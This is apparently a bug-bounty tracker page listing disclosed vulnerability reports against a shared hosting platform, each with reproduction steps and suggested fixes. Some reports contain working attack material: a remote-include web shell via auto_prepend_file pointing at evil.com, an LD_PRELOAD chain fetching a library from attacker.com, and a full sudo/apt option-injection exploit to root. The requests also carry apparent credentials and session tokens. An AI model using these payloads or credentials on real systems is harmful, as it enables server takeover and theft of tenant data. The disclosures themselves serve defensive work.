Fix scope Directive validation/allowlist Path normalization
Independence Fixing `path` does not fix  FS#347  Fixing directives does not fix this
Complexity Requires Apache directive syntax knowledge Single field change — `../../../etc/`
## Impact

An authenticated user can read any file accessible to `www-data` on the shared hosting server by traversing the `path` field. The demonstrated reads expose:

1. Core platform architecture — internal DNS infrastructure, storage topology (NAS-mounted `/home`), partition layout, security hardening measures
2. Service inventory — dnsdist, munin, MariaDB, OpenSSH versions and configurations
3. Internal network — datacenter domain (`paris1.alwaysdata.com`), internal IPv6 DNS server address
4. Database config — MariaDB socket paths and configuration directory structure

This maps directly to the bounty program's High tier: "Accessing customer data/information."

## Suggested Fix

1. Reject `..` in the path: Any path containing `..` (or URL-encoded `%2e%2e`) should be rejected
2. Reject absolute paths: Paths starting with `/` should be rejected
3. Normalize and verify: After normalizing, verify the resulting absolute path starts with `/home/{account}/`
4. Use `realpath()` on the server side: Resolve the path and confirm it stays within the account boundary

Thanks

 391  Dangerous PHP INI Injection via Site API — `allow_url_i ...Closed13.07.2026 Task Description

## Summary

The `php_ini` field in the Site API (`PATCH /v1/site/{id}/`) accepts arbitrary PHP configuration directives without any validation or blocklisting. I was able to store `allow_url_include=On` combined with `auto_prepend_file=http://evil.com/shell.php` — security-critical PHP settings that should never be user-controllable on a shared hosting platform.

The dangerous values were accepted with `204 No Content` and confirmed stored in the API response. I immediately reset the field after confirming storage.

Important note on scope of proof: I confirmed that the API stores these values without validation. I was NOT able to confirm whether the PHP runtime actually applies these stored INI settings at request time (no PHP file was available on the site during testing). The proven vulnerability is that the API accepts and stores dangerous PHP configuration without any validation. If these stored values are written into the Apache vhost config as `php_admin_value` directives (the likely implementation), then the impact escalates to Remote Code Execution.

## Severity

Medium (confirmed: dangerous PHP configuration accepted and stored without validation). Could escalate to Critical if the stored settings are applied by the PHP runtime — this was not verified during testing.

## Environment

Detail Value
——– ——-
Account subhash (ID 486630)
Site subhash.alwaysdata.net (ID 1058919)
Site type PHP / Apache
Server http21 (Debian 12, shared hosting)
## Steps to Reproduce

### Step 1 — Inject dangerous PHP INI values

```http
PATCH /v1/site/1058919/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic NTE0NzoxMWI5OTY1NjYwMmQ0N2VlYTdiNWFjMzE5Mzk1MDYxZg==
Content-Type: application/json

{

"php_ini": "allow_url_include=On\nauto_prepend_file=http://evil.com/shell.php"
}
```

Response:

```http
HTTP/1.1 204 No Content
Server: nginx
Vary: Accept-Language, Cookie
```

No error, no validation, no blocklist check.

### Step 2 — Confirm the values were stored

```http
GET /v1/site/1058919/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic NTE0NzoxMWI5OTY1NjYwMmQ0N2VlYTdiNWFjMzE5Mzk1MDYxZg==
Accept: application/json
```

Response (excerpt):

```json
{

"id": 1058919,
"type": "php",
"php_ini": "allow_url_include=On\nauto_prepend_file=http://evil.com/shell.php",
"httpd": "apache"
}
```

Both directives stored verbatim.

### Step 3 — Test other dangerous settings

INI Directive API Response Risk
————– ————- ——
`allow_url_include=On` 204 — stored Enables remote file inclusion
`auto_prepend_file=http://evil.com/shell.php` 204 — stored Auto-includes remote script on every request
`auto_prepend_file=/etc/passwd` 204 — stored Leaks local files via PHP errors
`display_errors=On` + `error_reporting=E_ALL` 204 — stored Exposes internal paths, queries, stack traces
`expose_php=On` 204 — stored Reveals PHP version in headers
`open_basedir=/` Would override PHP's directory restriction Not tested to avoid risk
`disable_functions=` Would clear the function blocklist Not tested to avoid risk
### Step 4 — Immediate cleanup

```http
PATCH /v1/site/1058919/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic NTE0NzoxMWI5OTY1NjYwMmQ0N2VlYTdiNWFjMzE5Mzk1MDYxZg==
Content-Type: application/json

{

"php_ini": ""
}
```

Response: `204 No Content` — cleared.

## What These Directives Do

### `allow_url_include=On`

This PHP directive is disabled by default for security reasons (it has been `Off` by default since PHP 5.2, released in 2006). When enabled, it allows PHP's `include()`, `require()`, and `auto_prepend_file`/`auto_append_file` to load files from remote URLs. This is the foundation for Remote File Inclusion (RFI) attacks.

### `auto_prepend_file=http://evil.com/shell.php`

This PHP directive causes the specified file to be automatically `require()`-ed before every PHP script execution — before the site's own code runs. Combined with `allow_url_include=On`, this means:

1. A user visits any page on the site (e.g., `http://subhash.alwaysdata.net/index.php`)
2. PHP's runtime first downloads `http://evil.com/shell.php` from the attacker's server
3. The downloaded PHP code is executed with full server-side privileges
4. Then the site's actual `index.php` runs

This is functionally equivalent to injecting a web shell into every PHP file on the site, without modifying any files on disk.

### Attack scenario (if PHP applies these settings)

```
Attacker sets php_ini:

allow_url_include=On
auto_prepend_file=http://attacker.com/payload.php Attacker hosts payload.php:

<?php system($_GET['cmd']); ?>
Any visitor to http://subhash.alwaysdata.net/anything.php?cmd=id

PHP downloads payload.php from attacker.com
→ executes system('id')
→ returns: uid=33(www-data) gid=33(www-data)
```

## Root Cause

The `php_ini` field in the site API has no validation. The backend stores whatever string the user provides and (presumably) writes it into the PHP configuration for the site's Apache vhost, likely as `php_admin_value` or `php_value` directives, or into a per-site `php.ini` file.

For contrast, the `log_file` field on the same API endpoint IS validated — it only allows alphanumeric characters and underscores. And the `log_format` field has format validation. But `php_ini` has none.

## Impact

What is proven: The API accepts and stores dangerous PHP INI directives (`allow_url_include=On`, `auto_prepend_file=http://evil.com/shell.php`) without any validation. A shared hosting platform should never allow users to set these values.

What is NOT proven: Whether the PHP runtime actually applies these stored values at request time. I was unable to verify execution because no PHP file was served during the testing window.

### If the stored values are applied by the PHP runtime (unverified — would be Critical)

These outcomes are plausible given the platform architecture (Apache vhosts with per-site PHP config), but none were demonstrated:

- Remote Code Execution via remote file inclusion
- Full server compromise via `www-data` access
- Persistent backdoor without on-disk files

### Confirmed impact regardless of execution

- Missing input validation on a security-critical field: The `php_ini` field accepts directives that are dangerous on any shared hosting platform. Even if execution is gated by another control, the absence of validation is a defense-in-depth failure.
- Inconsistency with other validated fields: `log_file` and `log_format` on the same API endpoint ARE validated, showing that the developers intended validation but missed `php_ini`.

## Comparison with Validated Fields

API Field Validation Accepts dangerous values?
———– ———– ————————–
`php_ini` None Yes — `allow_url_include`, `auto_prepend_file`, etc.
`log_file` Alphanumeric + underscore only No — rejects `/`, `.`, and special characters
`log_format` Format validation No — rejects invalid formats
`vhost_additional_directives` None Yes (see separate LFI/SSRF reports)
The inconsistency shows that the developers implemented validation for some fields but missed `php_ini`.

## Suggested Fix

1. Allowlist approach: Define a list of safe PHP INI directives that users are allowed to set (e.g., `max_execution_time`, `memory_limit`, `upload_max_filesize`, `post_max_size`, `date.timezone`). Reject everything else.

2. Blocklist approach (less safe, but immediate): At minimum, block these directives:

`allow_url_include` — enables remote file inclusion
`allow_url_fopen` — enables remote file operations
`auto_prepend_file` — auto-includes files before every script
`auto_append_file` — auto-includes files after every script
`open_basedir` (overriding/weakening) — removes directory restrictions
`disable_functions` (clearing) — removes function restrictions
`disable_classes` (clearing) — removes class restrictions
`extension` / `zend_extension` — loads arbitrary PHP extensions
`sendmail_path` — can be used for command execution
`mail.log` — can write to arbitrary files
3. Use `php_admin_value` for safety-critical settings: When writing user-provided INI values into the Apache config, use `php_value` (which can be overridden by `.htaccess` or user code) only for safe settings. Never allow user input to control `php_admin_value` directives, which override everything.

Thanks

 390  Environment Variable Injection — LD_PRELOAD and PATH Ac ...Closed13.07.2026 Task Description

## Summary

The `environment` field in the Site API (`PATCH /v1/site/{id}/`) accepts arbitrary environment variable definitions without validation, including security-critical variables like `LD_PRELOAD` and `PATH`. I was able to store `LD_PRELOAD=/tmp/evil.so` and `PATH=/tmp:/usr/bin` — both were accepted with `204 No Content` and confirmed stored in the API response. I immediately reset the field after confirming storage.

Important note on scope of proof: I confirmed that the API stores these dangerous environment variables without validation. I was NOT able to confirm whether the stored values are actually passed to site processes at runtime. The proven vulnerability is that the API accepts and stores dangerous environment variables (including linker/loader variables) without any blocklist or allowlist. If these stored values are set in the process environment when the site's runtime spawns (the likely implementation), the impact escalates significantly — but this was not verified during testing.

## Environment

Detail Value
——– ——-
Account subhash (ID 486630)
Site subhash.alwaysdata.net (ID 1058919)
Server http21 (Debian 12, shared hosting)
## Steps to Reproduce

### Step 1 — Inject LD_PRELOAD and PATH via the API

```http
PATCH /v1/site/1058919/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic NTE0NzoxMWI5OTY1NjYwMmQ0N2VlYTdiNWFjMzE5Mzk1MDYxZg==
Content-Type: application/json

{

"environment": "{'LD_PRELOAD': '/tmp/evil.so', 'PATH': '/tmp:/usr/bin'}"
}
```

Response:

```http
HTTP/1.1 204 No Content
Server: nginx
Vary: Accept-Language, Cookie
```

Accepted without any validation.

### Step 2 — Confirm the values were stored

```http
GET /v1/site/1058919/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic NTE0NzoxMWI5OTY1NjYwMmQ0N2VlYTdiNWFjMzE5Mzk1MDYxZg==
Accept: application/json
```

Response (excerpt):

```json
{

"id": 1058919,
"environment": "{'LD_PRELOAD': '/tmp/evil.so', 'PATH': '/tmp:/usr/bin'}"
}
```

Both environment variables stored verbatim.

### Step 3 — Immediate cleanup

```http
PATCH /v1/site/1058919/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic NTE0NzoxMWI5OTY1NjYwMmQ0N2VlYTdiNWFjMzE5Mzk1MDYxZg==
Content-Type: application/json

{

"environment": ""
}
```

Response: `204 No Content` — cleared.

## What These Environment Variables Do

### `LD_PRELOAD=/tmp/evil.so`

`LD_PRELOAD` is the most dangerous environment variable on Linux. It instructs the dynamic linker (`ld.so`) to load the specified shared library BEFORE any other — including libc. This means:

- Any function in libc (or any other library) can be intercepted and replaced
- The preloaded library's constructor function (`attribute1)`) runs automatically before `main()`
- It affects every dynamically-linked process that inherits the environment

If an attacker places a malicious `.so` file at `/tmp/evil.so`, and `LD_PRELOAD=/tmp/evil.so` is set in the site's environment, then every PHP process, every CGI script, every command executed by the site's runtime will load and execute the attacker's code.

### `PATH=/tmp:/usr/bin`

Setting `PATH` to start with `/tmp` causes the shell (and any program that uses `exec*p()` functions) to look in `/tmp` first when searching for commands. If the site or its runtime executes shell commands (e.g., via PHP's `system()`, `exec()`, `shell_exec()`, or backtick operators), the attacker can place executables in `/tmp` that shadow legitimate system commands:

- Place `/tmp/curl` → intercepts any `curl` call, capturing URLs, credentials, API keys
- Place `/tmp/sendmail` → intercepts outgoing email, capturing addresses, content, attachments
- Place `/tmp/mysql` → intercepts database commands, capturing credentials

### The `/tmp` Connection

The shared `/tmp` directory on server `http21` is world-writable and accessible to all tenants (see cross-tenant `/tmp` exposure report,  FS#363  regression). This means:

1. Any tenant can write files to `/tmp` (via SSH, SFTP, scheduled jobs, or their site's runtime)
2. Setting `LD_PRELOAD=/tmp/evil.so` via the API would cause those files to be loaded as shared libraries
3. No cross-tenant authentication is needed — the attack is: write to `/tmp`, set `LD_PRELOAD`, wait for a process to spawn

### Attack Chain

```
Step 1: Upload malicious shared library to /tmp

→ Via SSH: scp evil.so subhash@ssh-subhash.alwaysdata.net:/tmp/evil.so
→ Or via scheduled job: curl -o /tmp/evil.so http://attacker.com/evil.so Step 2: Set LD_PRELOAD via the API

→ PATCH /v1/site/1058919/ {"environment": "{'LD_PRELOAD': '/tmp/evil.so'}"}
Step 3: Trigger any PHP request

→ curl http://subhash.alwaysdata.net/index.phpPHP process spawns → linker loads /tmp/evil.so → attacker code executes
Step 4: evil.so's constructor runs as www-data

→ Can read/write any file accessible to www-data
→ Can make network connections (reverse shell, data exfil)
→ Can intercept any libc function (credentials, crypto keys)
```

## Root Cause

The `environment` field in the site API has no validation. The backend stores whatever dictionary/string the user provides and (presumably) sets these as environment variables for processes spawned under the site's configuration.

There is no blocklist for dangerous environment variables, no allowlist for safe ones, and no filtering of security-critical linker/loader variables.

## Impact

What is proven: The API accepts and stores dangerous environment variables (`LD_PRELOAD`, `PATH`) without any validation or blocklisting. A shared hosting platform should never allow users to set linker/loader variables.

What is NOT proven: Whether the stored values are actually passed to site processes at runtime. I was unable to verify execution during testing.

### If the stored values are applied to site processes (unverified — would be High/Critical)

These outcomes are plausible given the platform architecture (per-site environment config on shared hosting with world-writable `/tmp`), but none were demonstrated:

1. Code execution via LD_PRELOAD: Combined with writable shared `/tmp`, an attacker could place a malicious `.so` and have it loaded by the dynamic linker
2. Command hijacking via PATH: Redirecting PATH to start with `/tmp` would intercept shell commands executed by the site's runtime
3. Library search path manipulation: `LD_LIBRARY_PATH`, `PYTHONPATH`, `NODE_PATH`, etc. are likely also accepted (not tested)

### Confirmed impact regardless of execution

- Missing input validation on security-critical fields: The `environment` field accepts linker variables (`LD_PRELOAD`, `LD_LIBRARY_PATH`) that are dangerous on any shared hosting platform. Even if execution is gated by another control, the absence of validation is a defense-in-depth failure.
- No blocklist for system-critical variables: Unlike `log_file` which validates input, the `environment` field has zero validation.

## Suggested Fix

1. Blocklist dangerous variables: At minimum, reject any environment definition containing:

`LD_PRELOAD` — shared library injection
`LD_LIBRARY_PATH` — library search path manipulation
`LD_DEBUG` — linker debug output
`LD_AUDIT` — linker audit library
`PATH` — command search path hijacking
`PYTHONPATH` / `NODE_PATH` / `PERL5LIB` / `RUBYLIB` / `GEM_PATH` — language module path injection
`LD_BIND_NOW` / `LD_TRACE_LOADED_OBJECTS` — linker behavior manipulation
`GCONV_PATH` — glibc charset conversion path injection (used in CTF exploits)
`GETCONF_DIR` — getconf path injection
2. Allowlist approach (safer): Only allow environment variables that match a known-safe pattern (e.g., application-specific variables like `APP_ENV`, `DATABASE_URL`, `API_KEY`). Reject anything starting with `LD_` or matching known system variable names.

3. Fix `/tmp` isolation (defense in depth): Even with environment variable validation, the shared `/tmp` remains a risk. Implement per-tenant `/tmp` isolation via `PrivateTmp=yes` or mount namespaces.

1) constructor

THanks

 389  Cross-Tenant Session Token Theft via Shared /tmp — Acco ...Closed13.07.2026 Task Description

## Summary

The shared `/tmp` directory on server `http21` contains world-readable session files from other tenants. I successfully read another tenant's session file containing their full JWT authentication token, email address, and WebSocket subscription channel. This enables direct account takeover of any tenant that stores session data in `/tmp`.

Proven end-to-end: 1. Listed `/tmp` contents → found `<REDACTED>` owned by another tenant (`<REDACTED>`)
2. Read the file → extracted a valid JWT token for email `<REDACTED>`
3. The token contains: user ID, email, roles, and a Mercure WebSocket subscription path

## Severity

Critical (CVSS 9.1 — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N)

## Environment

Detail Value
——– ——-
Account subhash (ID 486630)
Server http21 (Debian 12, shared hosting)
Victim file `<REDACTED>`
Victim owner User `<REDACTED>` (different tenant)
File permissions `-rw-r–r–` (world-readable)
## Steps to Reproduce

### Step 1 — List session files in shared /tmp

Execute `ls -la /tmp/ | grep sess` on the server (via scheduled job, SSH, or piped log command):

```
-rw-r–r– 1 <REDACTED> <REDACTED> 426 Jul 7 17:45 <REDACTED>
```

The file is owned by another tenant but has `644` permissions (world-readable).

### Step 2 — Read the session file

```bash
cat /tmp/<REDACTED>
```

Contents (verbatim):

```json
<REDACTED>
```

### Step 3 — Decode the stolen JWT

```
<REDACTED>
```

This gives the attacker:
- The victim's email address
- Their user ID
- A valid authentication token (HS512-signed JWT)
- Their real-time WebSocket subscription channel

### Step 4 — Use the stolen token (impact demonstration)

The stolen JWT can be used as a Bearer token to authenticate API requests as the victim user, or to subscribe to their WebSocket channel for real-time data interception.

Note: I did NOT use the stolen token. The PoC stops at reading the file content to prove the vulnerability exists.

## Root Cause

Two issues combine to create this vulnerability:

1. Shared `/tmp` directory: All tenants on server `http21` share the same `/tmp` filesystem. There is no per-tenant isolation (no `PrivateTmp=yes`, no mount namespaces, no separate tmp directories).

2. World-readable file permissions: The victim application writes its session file with `644` permissions (`-rw-r–r–`), making it readable by any user on the system. While this is partly the victim app's fault, the hosting platform should enforce tenant isolation regardless of individual applications' file permission choices.

## Relationship to Report 03 (Cross-Tenant /tmp Exposure)

Report 03 documented that `/tmp` is shared and that other tenants' files are visible. This report demonstrates the critical impact of that same issue: not just filenames, but actual authentication credentials are exposed.

Aspect Report 03 This Report
——– ———– ————-
Root cause Shared /tmp Same
Evidence Filenames only Full file contents with tokens
Impact Information disclosure Account takeover
Severity Medium-High Critical
## Impact

1. Session hijacking: Steal any tenant's session tokens stored in `/tmp`
2. Account takeover: Use stolen JWT tokens to authenticate as the victim
3. Real-time surveillance: Subscribe to victim's Mercure/WebSocket channels
4. Email access: The token reveals the victim's email address for further attacks
5. Mass exploitation: Any tenant on the same server can read all world-readable session files from all other tenants

## Attack Automation

```bash
<REDACTED>
```

## Suggested Fix

1. Per-tenant /tmp isolation (primary fix):

Use `PrivateTmp=yes` in systemd service units
Or mount separate tmpfs per tenant
Or use Linux mount namespaces to give each tenant their own /tmp view
2. Restrict /tmp permissions (defense in depth):

Set the sticky bit on /tmp (should already be set, but verify)
Enable `fs.protected_regular` sysctl to prevent following of others' files
Use ACLs to restrict cross-tenant file access
3. Application-level guidance:

Advise users to set session file permissions to `600`
Provide per-tenant session directories (e.g., `/home/username/tmp/`)

Thanks

 388  Privilege Escalation — Free-Tier User Sets Reseller-Lev ...Closed13.07.2026 Task Description

## Summary

The admin panel's "Add permission" form (`/permissions/add/`) exposes and processes two reseller-only checkboxes for ALL users, including free-tier accounts:

- `customer_full_accounts` — "Full technical access on all accounts"
- `customer_full_servers` — "Full technical access on all servers"

I created a permission entry with both flags enabled from a free-tier (non-reseller) account. The server accepted the request with `302 Found` ("Successfully created"), and the edit page confirmed both flags were checked and stored.

Relationship to  FS#349  :  FS#349  reported "Reseller-Level Permission Flags Accessible to Regular Customers" and was closed. This demonstrates the fix is incomplete — the form still renders these checkboxes and the backend still processes them for non-reseller users.

## Severity

Medium-High (CVSS 6.5 — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N)

## Environment

Detail Value
——– ——-
Account subhash (ID 486630)
Account type Free tier, individual — NOT a reseller
Permission ID (test) 473473 (created then deleted during testing)
## Steps to Reproduce

### Step 1 — Navigate to "Add permission" page

URL: `https://admin.alwaysdata.com/permissions/add/`

The form displays reseller-only checkboxes to a free-tier user:

```html
<h3>Global permissions</h3>

<input type="checkbox" name="customer_full_accounts" id="id_customer_full_accounts">
All permissions (accounts) — Full technical access on all accounts.

<input type="checkbox" name="customer_full_servers" id="id_customer_full_servers">
All permissions (servers) — Full technical access on all servers.
```

These checkboxes should not be visible or processable for a non-reseller account.

### Step 2 — Submit form with reseller flags enabled

```http
POST /permissions/add/ HTTP/1.1
Host: admin.alwaysdata.com
Cookie: django_language=en; csrftoken=q7EcXaqpfiTzZoszNjRvPxqcdOsPdp7v; sessionid=dsnux6mbw22dyhuq1g30pr0jii9tm6n0
Referer: https://admin.alwaysdata.com/permissions/add/ Content-Type: application/x-www-form-urlencoded

csrfmiddlewaretoken=tuowwYz11Mh9tc0a8sCKPLsv6SYA1hBuJrSyjYPg6U0yiqizLBj5u8Ix9wgf4wyP
&email=test-escalation-bypass@protonmail.com &customer_full_accounts=on
&customer_full_servers=on
&customer_account=on
&account=486630
&486630_account_contact_technical=on
&486630_account_usage=on
&486630_account_resources=on
```

Response:

```http
HTTP/1.1 302 Found
Location: /permissions/
Set-Cookie: messages=[…"Successfully created."]
```

### Step 3 — Verify flags stored on edit page

```http
GET /permissions/473473/ HTTP/1.1
Host: admin.alwaysdata.com
```

Response (HTML excerpt):

```html
<input type="email" name="email" value="test-escalation-bypass@protonmail.com" readonly>

<input type="checkbox" name="customer_full_accounts" … checked>
All permissions (accounts) — Full technical access on all accounts.

<input type="checkbox" name="customer_full_servers" … checked>
All permissions (servers) — Full technical access on all servers.
```

Both `customer_full_accounts` and `customer_full_servers` are checked. The server stored the reseller-level flags from a free-tier account.

### Step 4 — Immediate cleanup

```http
POST /permissions/473473/delete/ HTTP/1.1
Host: admin.alwaysdata.com
Content-Type: application/x-www-form-urlencoded

csrfmiddlewaretoken=We6XDLcsmKmQYQFIcTUdy82sevfPZhwucbAZqLsHrS5fN4X7P2Bydviuh9xu2wtP
```

Response: `302 Found` — successfully deleted.

##  FS#349  Bypass Evidence

 FS#349  was closed. The fix is incomplete at two layers:

1. Frontend: The reseller checkboxes are still rendered for non-reseller users
2. Backend (critical): The form processes and stores `customer_full_accounts=on` and `customer_full_servers=on` even when the submitting user is not a reseller — no server-side authorization check

Even if the checkboxes were hidden from the UI, an attacker could manually add these form fields to the POST request body.

## Impact

A free-tier user can create permission entries with reseller-level flags:

- `customer_full_accounts`: For a reseller with multiple hosting accounts, this grants the invited email complete technical control over every account. For a single-account user, the blast radius is limited but the authorization bypass is real.
- `customer_full_servers`: For a reseller with dedicated servers, this grants full server-level access.

The attack chain for real-world exploitation:
1. Attacker creates a permission entry on their own free account with both flags enabled
2. If the attacker later upgrades to reseller or gains access to a reseller account, these flags are already in place
3. Alternatively, social engineering: if an attacker tricks a reseller into adding a permission via a pre-crafted URL or form, the flags could grant full access

## Suggested Fix

1. Server-side enforcement (critical): Check `request.user.is_reseller` before including `customer_full_accounts` and `customer_full_servers` in the accepted form fields. Strip these from POST data if the user is not a reseller.
2. Frontend cleanup: Conditionally render these checkboxes only for reseller accounts.

Thanks

 375  Cross-Site Request Forgery (CSRF) Allows Restart of An ...Closed13.07.2026 Task Description

## Description

A Cross-Site Request Forgery (CSRF) vulnerability exists in the service management functionality. The application does not properly validate whether a service restart request originates from a legitimate user action.

By crafting a malicious CSRF proof-of-concept (PoC) and replacing the service identifier with a victim's service ID, an attacker can cause the victim's browser to send an authenticated request that restarts the victim's service without their knowledge or consent.

This vulnerability allows unauthorized state-changing actions to be performed on behalf of authenticated users.

## CVSS v3.1

Base Score: 4.5 (MEDIUM)

# Steps to Reproduce

1. Log in with an attacker account.
2. Navigate to the Services section.
3. Create a new service.
4. Open another browser (or private window) and log in as a victim.
5. Create a service in the victim account.
6. Return to the attacker account.
7. Trigger the Restart Service functionality.
8. Capture the restart request using Burp Suite.
9. Use Burp Suite's Engagement Tools to generate a CSRF PoC.
10. Save the generated HTML file.
11. Replace the attacker's `service_id` with the victim's `service_id`.
12. Modify the request method from POST to GET.
13. Open the modified PoC in the victim's authenticated browser.
14. Click Submit.
15. Observe that the victim's service is restarted successfully without the victim intentionally initiating the request.
16. Verify the restart by checking the service logs.

# Actual Behaviour

The application processes the forged request using the victim's authenticated session, allowing the victim's service to be restarted without verifying the request's origin or intent.

# Expected Behaviour

The application should reject forged cross-origin requests. Every state-changing action should require valid CSRF protection and proper server-side validation so that only requests intentionally initiated by the authenticated user are accepted.

# Impact

* Unauthorized restart of another user's services.
* Service interruption without user consent.
* Attackers can repeatedly restart services, affecting availability.
* Users can be forced into unexpected downtime simply by visiting a malicious webpage while authenticated.

# Business Impact

* Reduced service availability and reliability.
* Potential disruption of customer-hosted applications.
* Loss of customer trust due to unauthorized actions.
* Increased support requests resulting from unexplained service restarts.
* Possible abuse for denial-of-service against targeted users by repeatedly triggering service restarts.

# Remediation

* Implement robust anti-CSRF tokens for all state-changing requests.
* Validate the CSRF token on the server before processing the request.
* Ensure state-changing operations are not performed through GET requests.
* Validate the `Origin` and `Referer` headers where appropriate.
* Use the `SameSite` attribute (`Lax` or `Strict`) on session cookies to reduce CSRF risk.
* Require explicit user confirmation or re-authentication for sensitive administrative actions when appropriate.

# Proof of Concept (PoC)

Google Drive Link: https://drive.google.com/file/d/1EQgdh2HhlPqN1VJXeTHQLhMkmkciEwqJ/view?usp=sharing

# Conclusion

The application is vulnerable to Cross-Site Request Forgery (CSRF), allowing attackers to trigger unauthorized service restarts on behalf of authenticated users. Because restarting services directly impacts availability and can disrupt customer workloads, this issue represents a significant security risk. Implementing proper CSRF protections and server-side request validation will effectively mitigate the vulnerability and prevent unauthorized state-changing actions.

Thanks

 371  attacker test Closed12.07.2026 Task Description

attacker testd

 368  test Closed11.07.2026 Task Description

test

 367  Root Privilege Escalation via Sudo Option Injection Closed10.07.2026 Task Description

Root Privilege Escalation via Sudo Option Injection

Summary

Any shared hosting user can gain root access on the server by exploiting an unquoted variable in /alwaysdata/sbin/install_language_package. This script runs via sudo without a password. The attacker injects APT options through the language name parameter, causing apt-get to execute an arbitrary script as root before package installation.

The Flaw

Line 50 of /alwaysdata/sbin/install_language_package:
apt-get –yes install $PACKAGE
$PACKAGE is unquoted — bash splits it on spaces, and injected -o Dpkg::Pre-Invoke::=/tmp/evil.sh becomes an APT option that runs a script as root.

Impact

- Root on a shared server with 8,957 accounts
- Read/modify all other users' files, databases, emails
- Read server secrets (SSL keys, passwords, configs)
- Install persistent backdoors

Steps to Reproduce

1. Upload a PHP web shell to your ~/www/ (needed because SSH blocks sudo via NoNewPrivs):
<?php echo shell_exec($_GET['c']); ?>

2. Create a fake APT repo with a package whose Maintainer contains @alwaysdata mkdir -p /tmp/fakerepo/dists/stable/main/binary-amd64 /tmp/fakerepo/pool /tmp/fakerepo/lists/partial /tmp/fakedeb/DEBIAN /tmp/fakedeb2/DEBIAN

echo -e "Package: java\nVersion: 99.0\nArchitecture: amd64\nMaintainer: dev <don: x" > /tmp/fakedeb/DEBIAN/control
dpkg-deb –build /tmp/fakedeb /tmp/fakerepo/pool/java_99.0_amd64.deb

echo -e "Package: 21\nVersion: 99.0\nArchitecture: amd64\nMaintainer: dev <dev: x" > /tmp/fakedeb2/DEBIAN/control
dpkg-deb –build /tmp/fakedeb2 /tmp/fakerepo/pool/21_99.0_amd64.deb

cd /tmp/fakerepo && dpkg-scanpackages pool /dev/null > dists/stable/main/binar
cp dists/stable/main/binary-amd64/Packages lists/_tmp_fakerepo_dists_stable_main_binary-amd64_Packages
echo 'deb [trusted=yes] file:///tmp/fakerepo stable main' > sources.list

3. Create payload (filename must end with -21.0.8 — the resolved version gets appended):
echo '#!/bin/sh
id > /tmp/proof.txt' > /tmp/rk.sh-21.0.8
chmod +x /tmp/rk.sh-21.0.8

4. Run the exploit:
sudo /alwaysdata/sbin/install_language_package "java 21 -o Dir::Etc::sourcelist=/tmp/fakerepo/sources.list -o Dir::Etc::sourceparts=- -o Dir::State::Lists=/tmp/fakerepo/lists -o Dpkg::Pre-Invoke::=/tmp/rk.sh" "21"

5. Verify:
cat /tmp/proof.txt
Output:
uid=0(root) gid=0(root) groups=0(root)

Remediation

1. Quote $PACKAGE on line 50 — change apt-get –yes install $PACKAGE to apt-get –yes install "$PACKAGE" (also quote $LANGUAGE and $PACKAGE on lines 16, 33, 39)
2. Validate input — reject $LANGUAGE and $VERSION values containing anything outside [a-zA-Z0-9._]

 366  Broken Access Control – Revoked User Can Access Histori ...Closed09.07.2026 Task Description

Description After a user's mailbox permissions are revoked, the application correctly removes access to the mailbox through the user interface. However, the server still allows the user to directly access previously generated mailbox audit logs by requesting the log endpoint with the corresponding log ID.

This indicates that the application does not enforce authorization checks on the audit log resource based on the user's current permissions. As a result, a user whose mailbox access has been revoked can continue to access historical audit logs related to that mailbox.
CVSS v3.1 → Score: 4.3 (Medium)

Note: If the audit logs expose sensitive mailbox configuration or confidential information, the severity may be higher.

Steps to Reproduce 1- Login with User A.
2- Invite User B as an Administrator with mailbox management permissions.
3- Login as User B.
4- Navigate to the mailbox settings and make any configuration change.
5- Verify that an audit log entry is created for the action.
6- Login as User A and revoke User B's mailbox permissions.
7- Confirm that the mailbox section is no longer accessible through the UI for User B.
8- Login again as User B.
9- Intercept the request used to retrieve an audit log (or directly access the audit log endpoint).
10- Replace the current log ID with the previously generated mailbox audit log ID.
11- Send the request.

Actual Behaviour → Even after mailbox permissions have been revoked, the server returns the historical mailbox audit log when the user directly requests it using the known log ID.

Expected Behaviour → Once mailbox permissions are revoked, the server should validate the user's current authorization before returning any mailbox-related audit logs. Unauthorized users should receive 403 Forbidden (or an equivalent authorization error).

Impact → Users can continue accessing mailbox-related audit logs after losing mailbox permissions.
→ Authorization is enforced only in the UI, not on the backend resource.
→ Historical mailbox activity remains accessible despite permission revocation.

Business Impact → Violates the principle of least privilege.
→ Former administrators or users with revoked access may continue viewing historical mailbox activity.
→ May expose operational or sensitive mailbox information depending on the audit log contents.
→ Indicates inconsistent server-side authorization checks, increasing the risk of similar access control issues elsewhere in the application.

Remediation → Perform server-side authorization checks for every audit log request.
→ Validate the user's current permissions before returning mailbox-related logs.
→ Return 403 Forbidden when the user is no longer authorized.
→ Ensure audit log access follows the same permission model as the underlying mailbox resource.
Proof of Concept (PoC) Google Drive Link: https://drive.google.com/drive/folders/1c3fthnH3Vfq60bd4RacM3_aHF8zgmw88?usp=drive_link

Conclusion The application fails to properly enforce server-side authorization on mailbox audit log resources. Although mailbox access is removed from the user interface after permission revocation, previously generated audit logs remain accessible through direct requests using known log IDs. This represents a Broken Access Control issue because authorization is not consistently enforced on the backend.

Thanks

 365  Cross-Site Request Forgery (CSRF) in Notification "Seen ...Closed03.07.2026
 364  Bug bounty — cross-tenant /tmp disclosure (FS#363) umas ...Closed02.07.2026
 363  Cross-tenant file disclosure via world-readable shared  ...Closed02.07.2026
 362  Email Verification Bypass via Google OAuth Account Link ...Closed02.07.2026
 361  Broken Access Control / Improper Authorization Closed02.07.2026
 360  User Enumeration via Password Reset Functionality Closed02.07.2026
 359  DNSSEC Misconfiguration Closed02.07.2026
 358  Inadequate Concurrent Sessions Closed02.07.2026
 357  Bug Bounty Report : MTA-STS Missing Closed02.07.2026
 356   Outdated Exim SMTP Server (Version 4.96) Potentially A ...Closed02.07.2026
 355  LaTeX Injection via Billing Invoice Annotation Closed06.07.2026
 350  OAuth State Cookie Unbounded Growth (Authentication DoS ...Closed02.07.2026
 349  Reseller-Level Permission Flags Accessible to Regular C ...Closed25.06.2026
 348  Subdomain Squatting on alwaysdata.net Platform Namespac ...Closed25.06.2026
